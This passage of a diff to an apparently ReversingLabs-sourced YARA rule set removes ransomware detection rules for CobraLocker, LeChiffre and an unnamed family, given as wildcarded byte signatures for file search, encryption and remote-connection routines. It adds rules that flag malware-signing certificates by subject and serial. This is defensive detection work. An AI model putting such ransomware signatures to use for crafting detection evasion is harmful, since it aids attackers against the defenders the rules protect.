C0 74 ?? 33 C9 - 03 C6 13 CB 83 E8 ?? 89 45 ?? 83 D9 ?? 89 4D ?? 6A ?? 8B 55 ?? 52 6A ?? 6A ?? 6A ?? - 57 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? - ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 89 45 ?? 8B 4D ?? 89 4D ?? 6A ?? FF 15 ?? - ?? ?? ?? 83 C4 ?? 8B F0 66 0F 57 C0 66 0F 13 45 ?? 8B 5D ?? 8B 7D ?? 90 83 7D ?? ?? - 0F 8C ?? ?? ?? ?? 7F ?? 83 7D ?? ?? 0F 86 ?? ?? ?? ?? 8B D3 83 C2 ?? 8B 75 ?? 8B CE - 83 D1 ?? 8B 45 ?? 3B C8 7F ?? 7C ?? 3B 55 ?? 77 ?? BF ?? ?? ?? ?? 33 C0 8B 75 ?? 03 - } - $encrypt_files_p2 = { - F3 8B DA 89 4D ?? EB ?? 8B 7D ?? 2B FB 1B C6 8B 55 ?? 8D 34 13 03 DF 11 45 ?? 89 5D - ?? 89 45 ?? 89 7D ?? 83 7D ?? ?? 7F ?? 7C ?? 83 7D ?? ?? 73 ?? 8B 4D ?? 89 4D ?? 83 - F9 ?? 7D ?? C6 04 31 ?? 41 EB ?? 29 7D ?? 19 45 ?? 33 C0 89 45 ?? 83 F8 ?? 7D ?? 8B - 0C 85 ?? ?? ?? ?? 31 0C 86 40 EB ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? 85 C0 74 - ?? 88 04 37 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 01 - 0D ?? ?? ?? ?? 8B 55 ?? 11 15 ?? ?? ?? ?? 8B 45 ?? 50 8B 0D ?? ?? ?? ?? 51 68 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 7D ?? EB ?? 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 FF - 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? FF 15 ?? ?? ?? ?? 50 - 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B - 4D ?? 8D 95 ?? ?? ?? ?? 0F B7 01 66 89 02 83 C1 ?? 83 C2 ?? 66 85 C0 75 ?? 6A ?? 8D - 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 83 C4 ?? 83 C0 ?? 74 ?? 8B D0 8D B5 ?? ?? ?? ?? - 0F B7 0A 66 89 0E 83 C2 ?? 83 C6 ?? 66 85 C9 75 ?? 33 C9 66 89 08 8D 95 ?? ?? ?? ?? - 52 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? - ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF - 15 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? - ?? ?? EB ?? B8 ?? ?? ?? ?? C3 8B 65 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 - } - $search_files_p1 = { - E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 33 D2 56 50 66 89 94 24 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 33 C9 56 52 - 66 89 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 56 50 89 - 74 24 ?? E8 ?? ?? ?? ?? 8B 7D ?? 83 C4 ?? 8D 4C 24 ?? 51 8D 94 24 ?? ?? ?? ?? 52 68 - ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? - ?? ?? 8D 94 24 ?? ?? ?? ?? 8B C7 2B D7 8D 9B ?? ?? ?? ?? 0F B7 08 66 89 0C 02 83 C0 - ?? 66 3B CE 75 ?? 8D 84 24 ?? ?? ?? ?? 83 C0 ?? 8D A4 24 ?? ?? ?? ?? 66 8B 48 ?? 83 - C0 ?? 66 3B CE 75 ?? 8B 0D ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 89 08 66 8B 0D ?? ?? ?? ?? - 89 50 ?? 68 ?? ?? ?? ?? 66 89 48 ?? FF 15 ?? ?? ?? ?? 8D 54 24 ?? 52 8D 84 24 ?? ?? - ?? ?? 50 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 75 ?? 68 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5F 5E 5B 8B E5 - 5D C2 ?? ?? 8D A4 24 ?? ?? ?? ?? 8B 7D ?? 8B 35 ?? ?? ?? ?? 6A ?? 8D 4C 24 ?? 68 ?? - ?? ?? ?? 51 FF D6 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 54 24 ?? 68 ?? ?? ?? ?? - 52 FF D6 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? F6 44 24 ?? ?? 0F 85 ?? ?? ?? ?? 8D 44 24 - ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 0F 84 ?? ?? ?? ?? 66 83 3D ?? ?? - ?? ?? ?? BF ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B C7 8D 50 ?? EB ?? 8D 9B ?? ?? ?? ?? 66 - 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 8B CB D1 F8 8D 71 ?? 66 8B 11 83 C1 ?? 66 85 D2 - } - $search_files_p2 = { - 75 ?? 2B CE D1 F9 3B C1 75 ?? 53 57 FF 15 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 66 8B 0F - 83 C7 ?? 66 85 C9 75 ?? 66 39 0F 75 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? 64 8B 15 ?? ?? ?? ?? 8B 32 8B 55 ?? 83 C4 ?? 8D 4C 24 ?? 51 52 68 ?? ?? ?? ?? 50 - 89 46 ?? FF 15 ?? ?? ?? ?? 8B 46 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 85 - C0 0F 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 F8 ?? 7D ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - 8B 4E ?? 6A ?? 6A ?? 51 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 15 ?? ?? ?? - ?? 89 04 95 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 0C 85 ?? ?? ?? ?? 6A ?? 51 FF 15 ?? ?? ?? - ?? E9 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF - D3 8B F8 6A ?? 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? - ?? ?? 8B 56 ?? 6A ?? 6A ?? 52 68 ?? ?? ?? ?? 6A ?? 6A ?? FF D3 8B 0D ?? ?? ?? ?? 89 - 04 8D ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 04 95 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? - E9 ?? ?? ?? ?? 8D 4C 24 ?? 51 57 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 FF 15 ?? ?? - ?? ?? A1 ?? ?? ?? ?? 48 50 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 FF D6 83 C4 ?? 85 - C0 0F 84 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 83 C4 - ?? 85 C0 75 ?? 8D 9B ?? ?? ?? ?? 0F B7 8C 04 ?? ?? ?? ?? 66 89 8C 04 ?? ?? ?? ?? 83 - C0 ?? 66 85 C9 75 ?? 8D BC 24 ?? ?? ?? ?? 83 C7 ?? 66 8B 47 ?? 83 C7 ?? 66 85 C0 75 - ?? 6A ?? 8D 84 24 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 68 ?? ?? ?? ?? F3 A5 - FF 15 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 44 24 ?? 8D 54 24 ?? 52 - 50 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 74 24 ?? 56 FF 15 - } - $remote_connection = { - 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 57 E8 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8B 45 ?? 8B 0D ?? ?? ?? ?? 0F B6 15 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 3D ?? - ?? ?? ?? 8D 70 ?? 8B 00 56 68 ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 52 0F B7 15 ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 52 8B 15 ?? ?? ?? ?? 51 52 50 - 6A ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 FF D7 83 C4 ?? 80 3E ?? 74 ?? B9 ?? ?? ?? - ?? 8B C6 EB ?? 8D 49 ?? C6 00 ?? 40 49 75 ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? 8D 50 ?? 8D 49 ?? 8A 08 40 84 C9 75 ?? 8D 8D ?? ?? ?? ?? 51 2B C2 - 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 FF D7 8D 85 ?? - ?? ?? ?? 83 C4 ?? 8D 50 ?? 8A 08 40 84 C9 75 ?? 6A ?? 2B C2 50 8D 85 ?? ?? ?? ?? 50 - 53 FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 9B ?? ?? ?? ?? C6 00 ?? 40 - 49 75 ?? 53 FF 15 ?? ?? ?? ?? 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C2 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "47:0d:6c:e2:1a:69:40:32:02:61:f0:9e" and 1474523038 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_7E6Bc7E5A49E2C28E6F5D042 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "a7b815d9-e247-5de1-9bcb-96294b3b91c0" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13076-L13092" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "f378c490ff4f32fc095c822f75abac44a8d94327404cd97546c63e7441e07632" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $remote_connection and ( all of ( $search_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Shang Hai Jian Ji Wang Luo Ke Ji You Xian Gong Si" and pe.signatures [ i ] . serial == "7e:6b:c7:e5:a4:9e:2c:28:e6:f5:d0:42" and 1560995284 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Cobralocker : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_4C5020899147C850196C4Ebf : INFO FILE { meta: - description = "Yara rule that detects CobraLocker ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "dada6370-3ae3-5931-ba9f-da56ebbcd8c8" - date = "2021-08-12" - modified = "2021-08-12" + id = "8ac60604-6548-5f11-bf89-ec7e927b20f7" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Bytecode.MSIL.Ransomware.CobraLocker.yara#L1-L59" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13094-L13110" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "95f4c645c7c237d23b5028f824f78a5f9f8f0a4737b391d877582afe08264d7e" + logic_hash = "112e834a24c50d639f8607740faa609f1a36539058357544e5dbcddf841f3116" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "CobraLocker" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files = { - 14 0A 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 00 73 ?? - ?? ?? ?? 0D 00 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 - 03 07 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? - ?? 6F ?? ?? ?? ?? 00 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 - 09 17 6F ?? ?? ?? ?? 00 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 00 11 ?? 02 16 02 - 8E 69 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 00 00 DD ?? ?? ?? ?? 11 ?? 38 ?? ?? ?? ?? - 38 ?? ?? ?? ?? 39 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 00 DC 08 6F ?? ?? ?? ?? 0A 00 DD ?? - ?? ?? ?? 09 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 39 ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 00 DC 00 DD - ?? ?? ?? ?? 08 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 39 ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 00 DC 06 - 13 ?? 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 11 ?? 2A - } - $find_files = { - 16 28 ?? ?? ?? ?? 0A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? - 0C 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 06 72 ?? - ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 13 ?? 08 72 ?? ?? ?? ?? 28 ?? - ?? ?? ?? 72 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 13 ?? 09 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? - ?? ?? ?? 16 28 ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 - 28 ?? ?? ?? ?? 13 ?? 73 ?? ?? ?? ?? 13 ?? 72 ?? ?? ?? ?? 13 ?? 16 13 ?? 38 ?? ?? ?? ?? - 00 11 ?? 11 ?? 11 ?? 9A 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 - FE 04 13 ?? 11 ?? 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 00 11 ?? 11 ?? 11 ?? 9A 11 ?? 6F ?? ?? - ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 FE 04 13 ?? 11 ?? 38 ?? ?? ?? ?? 38 ?? - ?? ?? ?? 00 11 ?? 11 ?? 11 ?? 9A 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 - ?? 8E 69 FE 04 13 ?? 11 ?? 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 00 11 ?? 11 ?? 11 ?? 9A 11 ?? - 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 FE 04 13 ?? 11 ?? 38 ?? ?? ?? - ?? 38 ?? ?? ?? ?? 3A ?? ?? ?? ?? 16 13 ?? 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 3A ?? ?? ?? ?? - 16 13 ?? 38 ?? ?? ?? ?? 38 ?? ?? ?? ?? 3A ?? ?? ?? ?? 16 13 ?? 38 ?? ?? ?? ?? 38 ?? ?? - ?? ?? 3A ?? ?? ?? ?? 2A - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "4c:50:20:89:91:47:c8:50:19:6c:4e:bf" and 1476693792 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_4Efcf7Adc21F070E590D49Ddb8081397 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "df467418-9d57-5ad0-b396-2ef519a22989" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13112-L13128" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "d60a5bbd50484d620ab60cfd40840abc541c2b7bc1005a9076b69ddd1b938652" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Ding Ruan" and pe.signatures [ i ] . serial == "4e:fc:f7:ad:c2:1f:07:0e:59:0d:49:dd:b8:08:13:97" and 1476921600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Lechiffre : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_Cbd37C0A651913Ee25A6860D7D5Ccdf2 : INFO FILE { meta: - description = "Yara rule that detects LeChiffre ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "5d2698fe-9a0b-549d-9a83-72e2ccfc1966" - date = "2020-06-26" - modified = "2020-07-15" + id = "e56205d6-9f02-5a8a-8dd3-b8c323fba4bf" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.LeChiffre.yara#L1-L123" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13130-L13148" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0b96f5f48700f2cba22da91187b3111946074e9cc58a502f25d7b96059a043cb" + logic_hash = "77cc439aea6eaa5a835b6b1aa50904c1df0d5379228e424ab2d68a3cb654834c" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "LeChiffre" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $remote_connection_1 = { - 55 8B EC 33 C9 51 51 51 51 51 51 51 53 56 57 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF - 30 64 89 20 8B 45 ?? 33 D2 E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 - ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? - E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 - ?? 8B 08 FF 51 ?? 8B 45 ?? 8B 10 FF 52 ?? 8B F0 4E 85 F6 7C ?? 46 33 DB 8D 4D ?? 8B - D3 8B 45 ?? 8B 38 FF 57 ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 7E ?? 8D 45 - ?? 50 8D 4D ?? 8B D3 8B 45 ?? 8B 38 FF 57 ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 E8 ?? 50 8D 4D ?? 8B D3 8B 45 ?? 8B 38 FF 57 ?? 8B 45 ?? BA ?? ?? ?? ?? 59 E8 ?? - ?? ?? ?? 43 4E 75 ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? - 8B 45 ?? E8 ?? ?? ?? ?? C3 - } - $remote_connection_2 = { - 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 - C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8B 45 ?? 8B 80 ?? ?? ?? ?? 66 BE ?? ?? E8 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 - ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B 55 ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 4D ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? - ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? C3 - } - $remote_connection_3 = { - E8 ?? ?? ?? ?? 8B 45 ?? 8B 80 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 E8 ?? ?? - ?? ?? DD 5D ?? 9B FF 75 ?? FF 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? - ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? - 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 ?? ?? ?? ?? FF - 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 4D - ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B - 45 ?? E8 ?? ?? ?? ?? C3 - } - $encrypt_files_1 = { - E8 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? - 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 - ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 55 ?? - 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? - ?? 83 7B ?? ?? 0F 84 ?? ?? ?? ?? 8B 13 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B - 03 E8 ?? ?? ?? ?? 84 C0 75 ?? 8B 03 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? FF 86 ?? ?? - ?? ?? B2 ?? 8B 86 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? 8B 03 E8 ?? ?? ?? ?? FF 75 ?? - 68 ?? ?? ?? ?? 8B 43 ?? C1 E8 ?? 33 D2 52 50 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? - ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 86 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B 03 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? - ?? ?? E8 ?? ?? ?? ?? C3 - } - $encrypt_files_2 = { - E8 ?? ?? ?? ?? 8D 45 ?? 8B 15 ?? ?? ?? ?? 8B 12 8B 92 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D - 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 8B 55 ?? E8 ?? ?? ?? ?? 3D ?? - ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? FF 70 ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? - ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 8B 40 - ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 50 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? - ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 - FF 30 64 89 20 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 - 8B 90 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 - C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 